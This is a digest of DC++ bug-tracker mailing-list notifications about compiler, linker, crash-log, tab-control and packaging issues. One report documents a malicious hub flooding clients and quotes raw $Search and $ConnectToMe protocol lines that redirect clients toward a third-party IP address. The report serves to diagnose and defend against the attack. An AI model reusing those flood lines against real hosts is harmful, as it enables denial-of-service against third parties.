  Crashlogger, etc..

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2039677/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2039677] Re: Generated crashlogs are missing all trace information when DC++ is compiled with a gcc 8.5 and later based MinGW-w64

[eMTee]

** Attachment added: "CrashLog gcc 8.1.txt"
   
https://bugs.launchpad.net/dcplusplus/+bug/2039677/+attachment/5710739/+files/CrashLog%20gcc%208.1.txt

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2039677

Title:
  Generated crashlogs are missing all trace information when DC++ is
  compiled with a gcc 8.5 and later based MinGW-w64

Status in DC++:
  New

Bug description:
  The last known mingw-w64 version where it is working is 

  The first known mingw-w64 version where it is NOT working is 

  Also tried some more mingw-w64 compilers based on gcc 9.x and 11.x with the 
same negative result.

  The documentation of
  
  
  is identical so no changes of defaults or no new options
  introduced/documented between these two versions.

  I tried with different options such as -glevel -gdwarf32/64 or set to
  produce DWARF4 info with -gdwarf-4 (see the attached diff of the doc
  versions of the above gcc manual page between gcc 8.1 and 11.2)
  without success.

  The size of the .pdb file generated using the single -g option keeps
  growing with every new gcc version from 6.x to 11.2 (gcc 11.2 produces
  ~6 times larger .pdb file than the size produced by 6.x if -g
  specified only).

  We use a 10 year old libdwarf version, patched in a couple of places
  for our CrashLogger. Trying a libdwarf update may be useful if it is a
  file format problem. But maybe it is not a format change in the .pdb
  file at all but in the way how the call stack needs to be processed in
  Crashlogger, etc..

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2039677/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2039677] Re: Generated crashlogs are missing all trace information when DC++ is compiled with a gcc 8.5 and later based MinGW-w64

[eMTee]

It doesn't work either in case of a long, deep callstacks or in a simple
crash in main.cpp.

Test case:

Added

*((unsigned int*)0) = 0xDEAD;

to line 134 of main.cpp.
See the crashlogs attached that is generated with gcc 8.1 (expected result) and 
8.5 (actual result).


** Attachment added: "CrashLog gcc 8.5.txt"
   
https://bugs.launchpad.net/dcplusplus/+bug/2039677/+attachment/5710738/+files/CrashLog%20gcc%208.5.txt

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2039677

Title:
  Generated crashlogs are missing all trace information when DC++ is
  compiled with a gcc 8.5 and later based MinGW-w64

Status in DC++:
  New

Bug description:
  The last known mingw-w64 version where it is working is 

  The first known mingw-w64 version where it is NOT working is 

  Also tried some more mingw-w64 compilers based on gcc 9.x and 11.x with the 
same negative result.

  The documentation of
  
  
  is identical so no changes of defaults or no new options
  introduced/documented between these two versions.

  I tried with different options such as -glevel -gdwarf32/64 or set to
  produce DWARF4 info with -gdwarf-4 (see the attached diff of the doc
  versions of the above gcc manual page between gcc 8.1 and 11.2)
  without success.

  The size of the .pdb file generated using the single -g option keeps
  growing with every new gcc version from 6.x to 11.2 (gcc 11.2 produces
  ~6 times larger .pdb file than the size produced by 6.x if -g
  specified only).

  We use a 10 year old libdwarf version, patched in a couple of places
  for our CrashLogger. Trying a libdwarf update may be useful if it is a
  file format problem. But maybe it is not a format change in the .pdb
  file at all but in the way how the call stack needs to be processed in
  Crashlogger, etc..

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2039677/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2039677] Re: Generated crashlogs are missing all trace information when DC++ is compiled with a gcc 8.5 and later based MinGW-w64

[eMTee]

** Description changed:

  The last known mingw-w64 version where it is working is 

  The first known mingw-w64 version where it is NOT working is 

+ Also tried some more mingw-w64 compilers based on gcc 9.x and 11.x with the 
same negative result.
  
  The documentation of
  
  
  is identical so no changes of defaults or no new options
  introduced/documented between these two versions.
  
  I tried with different options such as -glevel -gdwarf32/64 or set to
  produce DWARF4 info with -gdwarf-4 (see the attached diff of the doc
  versions of the above gcc manual page between gcc 8.1 and 11.2) without
  success.
  
  The size of the .pdb file generated using the single -g option keeps
  growing with every new gcc version from 6.x to 11.2 (gcc 11.2 produces
  ~6 times larger .pdb file than the size produced by 6.x if -g specified
  only).
  
  We use a 10 year old libdwarf version, patched in a couple of places for
  our CrashLogger. Trying a libdwarf update may be useful if it is a file
  format problem. But maybe it is not a format change in the .pdb file at
  all but in the way how the call stack needs to be processed in
  Crashlogger, etc..

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2039677

Title:
  Generated crashlogs are missing all trace information when DC++ is
  compiled with a gcc 8.5 and later based MinGW-w64

Status in DC++:
  New

Bug description:
  The last known mingw-w64 version where it is working is 

  The first known mingw-w64 version where it is NOT working is 

  Also tried some more mingw-w64 compilers based on gcc 9.x and 11.x with the 
same negative result.

  The documentation of
  
  
  is identical so no changes of defaults or no new options
  introduced/documented between these two versions.

  I tried with different options such as -glevel -gdwarf32/64 or set to
  produce DWARF4 info with -gdwarf-4 (see the attached diff of the doc
  versions of the above gcc manual page between gcc 8.1 and 11.2)
  without success.

  The size of the .pdb file generated using the single -g option keeps
  growing with every new gcc version from 6.x to 11.2 (gcc 11.2 produces
  ~6 times larger .pdb file than the size produced by 6.x if -g
  specified only).

  We use a 10 year old libdwarf version, patched in a couple of places
  for our CrashLogger. Trying a libdwarf update may be useful if it is a
  file format problem. But maybe it is not a format change in the .pdb
  file at all but in the way how the call stack needs to be processed in
  Crashlogger, etc..

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2039677/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2039677] [NEW] Generated crashlogs are missing all trace information when DC++ is compiled with a gcc 8.5 and later based MinGW-w64

[eMTee]

Public bug reported:

The last known mingw-w64 version where it is working is 

The first known mingw-w64 version where it is NOT working is 

Also tried some more mingw-w64 compilers based on gcc 9.x and 11.x with the 
same negative result.

The documentation of


is identical so no changes of defaults or no new options
introduced/documented between these two versions.

I tried with different options such as -glevel -gdwarf32/64 or set to
produce DWARF4 info with -gdwarf-4 (see the attached diff of the doc
versions of the above gcc manual page between gcc 8.1 and 11.2) without
success.

The size of the .pdb file generated using the single -g option keeps
growing with every new gcc version from 6.x to 11.2 (gcc 11.2 produces
~6 times larger .pdb file than the size produced by 6.x if -g specified
only).

We use a 10 year old libdwarf version, patched in a couple of places for
our CrashLogger. Trying a libdwarf update may be useful if it is a file
format problem. But maybe it is not a format change in the .pdb file at
all but in the way how the call stack needs to be processed in
Crashlogger, etc..

** Affects: dcplusplus
 Importance: Undecided
 Status: New

** Attachment added: "Diff of Debugging Options.htm between gcc 8.1 and 
11.2.txt"
   
https://bugs.launchpad.net/bugs/2039677/+attachment/5710735/+files/Diff%20of%20Debugging%20Options.htm%20between%20gcc%208.1%20and%2011.2.txt

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2039677

Title:
  Generated crashlogs are missing all trace information when DC++ is
  compiled with a gcc 8.5 and later based MinGW-w64

Status in DC++:
  New

Bug description:
  The last known mingw-w64 version where it is working is 

  The first known mingw-w64 version where it is NOT working is 

  Also tried some more mingw-w64 compilers based on gcc 9.x and 11.x with the 
same negative result.

  The documentation of
  
  
  is identical so no changes of defaults or no new options
  introduced/documented between these two versions.

  I tried with different options such as -glevel -gdwarf32/64 or set to
  produce DWARF4 info with -gdwarf-4 (see the attached diff of the doc
  versions of the above gcc manual page between gcc 8.1 and 11.2)
  without success.

  The size of the .pdb file generated using the single -g option keeps
  growing with every new gcc version from 6.x to 11.2 (gcc 11.2 produces
  ~6 times larger .pdb file than the size produced by 6.x if -g
  specified only).

  We use a 10 year old libdwarf version, patched in a couple of places
  for our CrashLogger. Trying a libdwarf update may be useful if it is a
  file format problem. But maybe it is not a format change in the .pdb
  file at all but in the way how the call stack needs to be processed in
  Crashlogger, etc..

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2039677/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2028276] Re: gcc linker error: undefined reference to `__security_cookie' when building with gcc 8.5.0 based MinGW-w64 release

[eMTee]

Nvm, we already have the proper declaration for __security_cookie it
just wasn't enabled when compiling with MinGW-w64 for some reason. Now
it is enabled for MinGW-w64 CRT 8.0.0 and above.

** Changed in: dcplusplus
   Status: New => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2028276

Title:
  gcc linker error: undefined reference to `__security_cookie' when
  building with gcc 8.5.0 based MinGW-w64 release

Status in DC++:
  Fix Committed

Bug description:
  Trying to build DC++ with https://github.com/niXman/mingw-builds-
  binaries/releases/tag/8.5.0-rt_v10-rev0 , win32, seh.

  Got multiple " undefined reference to `__security_cookie'" errors when
  linking the HTMLHelp lib. This is a new issue, does not happen with a
  gcc 8.1 based compiler.

  https://stackoverflow.com/questions/21627607/gcc-linker-error-
  undefined-reference-to-security-cookie probably tells the cause (link
  to MS docs is broken, originally
  
)

  It says you either need to link bufferoverflowU.lib or build without
  the /GS switch.

   says "/GS is roughly equivalent to -fstack-
  protector-strong -fstack-clash-protection -D_FORTIFY_SOURCE=2. It also
  requires optimization (e.g., -O2 or -O3)" yet the error still happens
  even when building debug in which case all optimizations should be
  disabled.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2028276/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2032940] Re: Drop compile support for stock / regular MinGW

[eMTee]

** Changed in: dcplusplus
   Status: New => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2032940

Title:
  Drop compile support for stock / regular MinGW

Status in DC++:
  Fix Committed

Bug description:
  Follow up to https://bugs.launchpad.net/dcplusplus/+bug/1029629

  [2023-08-21 16:27]  I thought some parts of DC++ specifically tried 
to detect and error on stock MinGW
  [2023-08-21 16:28]  Well, the wording in compile.txt does not seem to 
tell that. At least in my interpretation.
  [2023-08-21 16:29]  
https://sourceforge.net/p/dcplusplus/code/ci/default/tree/dcpp/compiler.h#l29

  [2023-08-21 16:32]  
https://sourceforge.net/p/dcplusplus/code/ci/default/tree/Compile.txt#l153 and 
on does not say we would not allow stock MinGW.
  [2023-08-21 16:33]  so either compiler.h is too strict or 
Compile.txt omits important information
  [2023-08-21 16:33]  "install compilers from regular MinGW " and so 
on...
  [2023-08-21 16:34]  but would current stock MinGW have the same 
problem as https://bugs.launchpad.net/dcplusplus/+bug/1029629 notes? that was 
last updated 10 years ago, by you
  [2023-08-21 16:35]  it's worth figuring this out a bit, because if 
working on stock MinGW is important, then the change still has to account for it
  [2023-08-21 16:35]  but if it's not, that does simplify things

  [2023-08-22 10:24]  Hm. 
https://www.reddit.com/r/cpp/comments/m6iokz/is_mingw_dead/
  [2023-08-22 10:27]  Actually it seems so. Both websites listed here, 
old and new, (mingw.org / osdn.net/projects/mingw/) are inaccessible for me 
right now.
  [2023-08-22 10:30]  There is https://nuwen.net/mingw.html fork but 
does not seem to be so much alive as the mingw-w64 project
  [2023-08-22 10:38]  And it is actually a mingw-w64 fork: "MinGW's 
official website mingw-w64.org provides various builds, but I maintain my own 
distro because I demand complete control. (It's a long story, but mingw-w64 
forked from mingw.org. Although my distro was based on mingw.org for many 
years, I now consider mingw-w64 to be the one true MinGW.)"
  [2023-08-22 10:40]  Same as https://www.msys2.org/ or WinLibs, what we 
already knew.
  [2023-08-22 10:48]  Versions still available in 
https://sourceforge.net/projects/mingw/files/MinGW/Base/gcc/ are too old or 
have known bugs in our release configuration.
  [2023-08-22 10:55]  
https://web.archive.org/web/20230619223133/https://osdn.net/projects/mingw/releases/
 shows the last release is based on gcc 9.2 but currently unavailable due to a 
hosting switch process of osdn.net.
  [2023-08-22 14:35]  So, not worth supporting, or?
  [2023-08-22 14:39]  We haven't been supporting it in the last 11 years 
(for Windows). Perhaps enabling it with a warning that tells it is untested and 
update the docs accordingly.
  [2023-08-22 14:41]  The latest release from 2021 may or may not fixed 
the issues we had back then. But we can't even test it now since the latest 
mingw-get cannot be downloaded and if it had been then most probably couldn't 
access the packages needed to install.
  [2023-08-22 14:45]  Or, yeah, remove it from the list of supported 
compilers in the docs, according to what it's been like for 11 years.

   Let's drop support (basically, even if currently it kind of works 
if one removes the #error in the .h file, it's apparently going to just decay 
from there)
   if we'd already been supporting it, then, sure, keep support until 
it breaks. but as is, not worth adding any more checking
   yeah I agree, looks like mingw-w64 and the wide variety of its forks 
will supply a quality and up to date compiler for the foreseeable future.
   Yeah, if one wants to try/support another compiler, then clang/llvm 
as iceman50 has discussed would be interesting, if mingw-w64 ever falters on 
Windows
   +1 to what cologic said  
   it's only going to get worse and not better IMHO keeping the stock 
MinGW

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2032940/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2028276] Re: gcc linker error: undefined reference to `__security_cookie' when building with gcc 8.5.0 based MinGW-w64 release

[eMTee]

[2023-07-23 10:12]  So a gcc 11.2 based official MinGW-w64 compiler 
gives the same linker errors for HTMLHelp.
[2023-07-23 10:35]  And so does 
winlibs-x86_64-posix-seh-gcc-10.3.0-mingw-w64-9.0.0-r2.7z... 
[2023-07-23 12:30]  
winlibs-x86_64-posix-seh-gcc-9.3.1-snapshot20210402-mingw-w64-8.0.0-r1.7z also 
does it whereas 
winlibs-x86_64-posix-seh-gcc-9.3.0-llvm-10.0.0-mingw-w64-7.0.0-r4.7z doesn't so 
apparently it happens on MinGW-W64 crt V8.0+ regardless the compiler version.
[2023-07-23 12:33]  Since I can't find any obvious changelog item or 
control option of what causes it I guess it is best to detect and link this 
additional lib from now.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2028276

Title:
  gcc linker error: undefined reference to `__security_cookie' when
  building with gcc 8.5.0 based MinGW-w64 release

Status in DC++:
  New

Bug description:
  Trying to build DC++ with https://github.com/niXman/mingw-builds-
  binaries/releases/tag/8.5.0-rt_v10-rev0 , win32, seh.

  Got multiple " undefined reference to `__security_cookie'" errors when
  linking the HTMLHelp lib. This is a new issue, does not happen with a
  gcc 8.1 based compiler.

  https://stackoverflow.com/questions/21627607/gcc-linker-error-
  undefined-reference-to-security-cookie probably tells the cause (link
  to MS docs is broken, originally
  
)

  It says you either need to link bufferoverflowU.lib or build without
  the /GS switch.

   says "/GS is roughly equivalent to -fstack-
  protector-strong -fstack-clash-protection -D_FORTIFY_SOURCE=2. It also
  requires optimization (e.g., -O2 or -O3)" yet the error still happens
  even when building debug in which case all optimizations should be
  disabled.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2028276/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2028276] Re: gcc linker error: undefined reference to `__security_cookie' when building with gcc 8.5.0 based MinGW-w64 release

[eMTee]

[09:24:34]  
https://sourceforge.net/p/mingw-w64/mailman/message/36804945/ "* 
__FORTIFY_SOURCE support "
[09:40:16]  https://github.com/StephanTLavavej/mingw-distro/issues/71 ,  
https://github.com/msys2/MINGW-packages/issues/5803  
[11:39:11]  meh, it's not because of these. I tried 
'-fstack-check=no','-fno-stack-check','-fno-stack-protector',   
 '-fno-stack-clash-protection','-D_FORTIFY_SOURCE=0' , still errors

[14:16:20]  managed to compile it by adding 'BufferOverflowU' lib from 
the SDK. Altough some fix it by using dummy defines like 
https://github.com/kfrlib/fft-benchmark/blob/master/mingw_fix.h
I tried 

extern "C" {
   int __security_cookie;
}

with no luck, not sure if I added it to the proper place though.

[14:17:37]  I still want to know what option to disable or what was 
enabled vs. the old 8.1 build we've been using but I'm at a loss how to find it 
out what it is. 
[14:18:39]  Nevertheless these checks should make the app more safe, not 
sure to what extent though since it's a 20 year old technology/practice.

Will try a similar winlibs built compiler which reportedly don't exhibit
this issue with its defaults.


** Bug watch added: github.com/StephanTLavavej/mingw-distro/issues #71
   https://github.com/StephanTLavavej/mingw-distro/issues/71

** Bug watch added: github.com/msys2/MINGW-packages/issues #5803
   https://github.com/msys2/MINGW-packages/issues/5803

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2028276

Title:
  gcc linker error: undefined reference to `__security_cookie' when
  building with gcc 8.5.0 based MinGW-w64 release

Status in DC++:
  New

Bug description:
  Trying to build DC++ with https://github.com/niXman/mingw-builds-
  binaries/releases/tag/8.5.0-rt_v10-rev0 , win32, seh.

  Got multiple " undefined reference to `__security_cookie'" errors when
  linking the HTMLHelp lib. This is a new issue, does not happen with a
  gcc 8.1 based compiler.

  https://stackoverflow.com/questions/21627607/gcc-linker-error-
  undefined-reference-to-security-cookie probably tells the cause (link
  to MS docs is broken, originally
  
)

  It says you either need to link bufferoverflowU.lib or build without
  the /GS switch.

   says "/GS is roughly equivalent to -fstack-
  protector-strong -fstack-clash-protection -D_FORTIFY_SOURCE=2. It also
  requires optimization (e.g., -O2 or -O3)" yet the error still happens
  even when building debug in which case all optimizations should be
  disabled.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2028276/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2028276] [NEW] gcc linker error: undefined reference to `__security_cookie' when building with gcc 8.5.0 based MinGW-w64 release

[eMTee]

Public bug reported:

Trying to build DC++ with https://github.com/niXman/mingw-builds-
binaries/releases/tag/8.5.0-rt_v10-rev0 , win32, seh.

Got multiple " undefined reference to `__security_cookie'" errors when
linking the HTMLHelp lib. This is a new issue, does not happen with a
gcc 8.1 based compiler.

https://stackoverflow.com/questions/21627607/gcc-linker-error-undefined-
reference-to-security-cookie probably tells the cause (link to MS docs
is broken, originally
)

It says you either need to link bufferoverflowU.lib or build without the
/GS switch.

 says "/GS is roughly equivalent to -fstack-protector-
strong -fstack-clash-protection -D_FORTIFY_SOURCE=2. It also requires
optimization (e.g., -O2 or -O3)" yet the error still happens even when
building debug in which case all optimizations should be disabled.

** Affects: dcplusplus
 Importance: Undecided
 Status: New

** Summary changed:

- gcc linker error: undefined reference to `__security_cookie' when building 
with gcc 8.5.0 basedMinGW-w64 release
+ gcc linker error: undefined reference to `__security_cookie' when building 
with gcc 8.5.0 based MinGW-w64 release

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2028276

Title:
  gcc linker error: undefined reference to `__security_cookie' when
  building with gcc 8.5.0 based MinGW-w64 release

Status in DC++:
  New

Bug description:
  Trying to build DC++ with https://github.com/niXman/mingw-builds-
  binaries/releases/tag/8.5.0-rt_v10-rev0 , win32, seh.

  Got multiple " undefined reference to `__security_cookie'" errors when
  linking the HTMLHelp lib. This is a new issue, does not happen with a
  gcc 8.1 based compiler.

  https://stackoverflow.com/questions/21627607/gcc-linker-error-
  undefined-reference-to-security-cookie probably tells the cause (link
  to MS docs is broken, originally
  
)

  It says you either need to link bufferoverflowU.lib or build without
  the /GS switch.

   says "/GS is roughly equivalent to -fstack-
  protector-strong -fstack-clash-protection -D_FORTIFY_SOURCE=2. It also
  requires optimization (e.g., -O2 or -O3)" yet the error still happens
  even when building debug in which case all optimizations should be
  disabled.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2028276/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2019492] Re: Tab control crash Win10+

[eMTee]

Seems like the current available Win32 API documentation is inaccurate
and / or incomplete regarding how to pass extra data properly using
TCM_SETITEMEXTRA message and TCITEMHEADER structure.

First of all (as people also noted in a few other online forums), for
TCITEMHEADER the TCIF_PARAM flag in "mask" parameter must be set the
same way as in  when used for
getting or setting a tab item's data.  omits
this information.

Secondly, unlike the way documented in  the
TabCtrl_SetItemExtra macro indeed has a success/failure return value, it
is clear from CommCtrl.h.

And finally, the data size requirement when one wants to pass extra data
using TCITEMHEADER is inaccurately documented as well.
 says "By default, the number of extra bytes is
four." which is valid for 32-bit apps/calls only. In 64-bit apps this
default size appears to be 8 bytes since if you set this size by sending
a TCM_SETITEMEXTRA message then it is silently discarded and things fall
back to the old way when TCITEM is used: you get a 4-byte-long truncated
value again when getting tab info and the same wrong _value_ passed
through messages containing DRAWITEMSTRUCTs (and not reference to the
extra data, as described in ).

As a workaround, to avoid the extra data size to be either 4 or 8, a
dummy byte is added to the extra data structure which makes things work
in both architectures.


** Changed in: dcplusplus
   Status: Confirmed => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is a bug assignee.
https://bugs.launchpad.net/bugs/2019492

Title:
  Tab control crash Win10+

Status in DC++:
  Fix Committed

Bug description:
  When running DC++ compiled under MSVC (Currently using VS2022) and
  running on Win10+ DC++ will crash when using OwnerDrawn tabs and
  selecting button style which will cause DC++ to immediately crash in
  TabView->handlePainting (You can force this crash on every startup by
  going into DCPlusPlus.xml and setting the following 6.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2019492/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1992824] Re: Crash in tabs painting method settings change

[eMTee]

*** This bug is a duplicate of bug 2019492 ***
https://bugs.launchpad.net/bugs/2019492

** This bug has been marked a duplicate of bug 2019492
   Tab control crash Win10+

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1992824

Title:
  Crash in tabs painting method settings change

Status in DC++:
  New

Bug description:
  Crash happens when you go into tabs page and change to button style using a 
64-bit build with MSVS 2022 and MinGW based on GCC 10+.
  Not reproducible in 32 bit builds and in a build made using the official 
compiler (MinGWBuilds GCC 8.1) on Win7 / classic skin.
  Details in the attached screenshot and in https://pastebin.com/0LpQc4ck

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1992824/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2019492] Re: Tab control crash Win10+

[eMTee]

The crash happens with x64 builds only and it needs the executable
linked with high entropy ASLR 
enabled. Also it currently crashes only under an operating system that
supports this feature such as Win8+.

The cause is that 8 byte-long x64 TabInfo pointers sent through using a
 strucure as an item data parameter are getting
truncated to 4 bytes when they come out as
.itemData or when accessed by TabCtrl_GetItem.

Both TCITEM's and the tab controls's documentation
 mention this. You cannot
pass through data with size other than 4 using this method, even though
the size of the containter for this data (TCITEM.lParam) is 8 bytes long
in x64.

If no high entropy ALSR applied at execution, as the current officially
used linker mandates, then the virtual address space allocated for the
binary remains under 4GiB hence the pointer truncation has no effect and
no crashes happen. But with various linking configurations, operating
systems, memory size, etc... this can change at anytime.

A  must be used instead with quirks to work around
some undocumented behavior.

A fix, that is under testing right now, will be committed soon.

** Changed in: dcplusplus
   Status: New => Confirmed

** Changed in: dcplusplus
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is a bug assignee.
https://bugs.launchpad.net/bugs/2019492

Title:
  Tab control crash Win10+

Status in DC++:
  Confirmed

Bug description:
  When running DC++ compiled under MSVC (Currently using VS2022) and
  running on Win10+ DC++ will crash when using OwnerDrawn tabs and
  selecting button style which will cause DC++ to immediately crash in
  TabView->handlePainting (You can force this crash on every startup by
  going into DCPlusPlus.xml and setting the following 6.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2019492/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2019497] Re: Handling of CTM/search DDoS triggered by a malicious hub

[eMTee]

Thanks for reporting and for the through fix!
I can confirm that, at the time of reporting, a short stay on that hub with 
DC++ indeed caused immense system resource consumption.
To be investigated how to adapt / apply the fix.

** Changed in: dcplusplus
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2019497

Title:
  Handling of CTM/search DDoS triggered by a malicious hub

Status in AirDC++:
  Fix Released
Status in DC++:
  Confirmed

Bug description:
  I've received a few weird crash reports that are both linked to a
  specific hub (favorite-hub.net):

  https://github.com/airdcpp-web/airdcpp-webclient/issues/450
  https://github.com/airdcpp/airdcpp-windows/issues/63

  While inspecting the issue more closely, I noticed that the client
  receives about 300 search/CTM requests per second from the hub,
  similar to these:

  $Search 82.146.38.183:80 F?F?0?1?t
  $ConnectToMe maksis 82.146.38.183:443
  $Search 82.146.38.183:443 F?F?0?1?p
  $ConnectToMe maksis 82.146.38.183:80
  $Search 82.146.38.183:80 F?F?0?1?t
  $ConnectToMe maksis 82.146.38.183:443
  $Search 82.146.38.183:443 F?F?0?1?p
  $ConnectToMe maksis 82.146.38.183:80
  $Search 82.146.38.183:80 F?F?0?1?t
  $ConnectToMe maksis 82.146.38.183:443

  Looks like this has been going on for years already and the client is
  unable to even report it in a meaningful way. DC++ shows a few status
  messages about search spam but that doesn't really reveal the full
  extent of the problem as the aim of the hub is clearly to consume all
  possible system resources from its users.

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/2019497/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2019182] [NEW] Provide support for winget

[eMTee]

Public bug reported:

I have started using winget to update and maintain my applications on my
system. I'm missing dc++ support here. Is it planned to provide support
for winget?  This is the project https://github.com/microsoft/winget-cli
and I think it needs a manifest here
https://github.com/microsoft/winget-pkgs

** Affects: dcplusplus
 Importance: Wishlist
 Status: Confirmed

** Changed in: dcplusplus
   Status: New => Confirmed

** Changed in: dcplusplus
   Importance: Undecided => Wishlist

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2019182

Title:
  Provide support for winget

Status in DC++:
  Confirmed

Bug description:
  I have started using winget to update and maintain my applications on
  my system. I'm missing dc++ support here. Is it planned to provide
  support for winget?  This is the project
  https://github.com/microsoft/winget-cli and I think it needs a
  manifest here https://github.com/microsoft/winget-pkgs

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2019182/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2009492] Re: Certain type of changes in the share do not trigger a Bloom filter update which makes such changed files temporarily unsearchable

[eMTee]

** Description changed:

-  So not getting a result for a changed file (same path/different 
content) in the share after re-hashing is because the hub requesting a new 
bloom filter only if the number of shared files are changed in the INF coming 
from the client. In common examples like when you share an updated binary or 
change a text file and reindex this would not happen at all.
-  Bloom request is only triggered by an SF and not SS in the INF. See 
https://sourceforge.net/p/adchpp/code/ci/default/tree/plugins/Bloom/src/BloomManager.cpp#L98
 
-  And with adding SS to the check there we're still not completly out 
of water since if the share change is a same path, same size, different content 
change then it still sucks. Minor editing of a text file or change of a 
fix-sized metadata e.g. an MP3 IDv1 tag resulting exactly this scenario.
-  You can change even all of your share in this special way and if you 
don't change the sizes and number of files then you won't provide hits at all 
until you do some other kind of share change or reconnect the hub.
+ Update: rephrase and clarify the initial report.
  
- [2023-02-28 09:03]  So Blom request is based on an inadequate signal 
that's not enough for all cases.
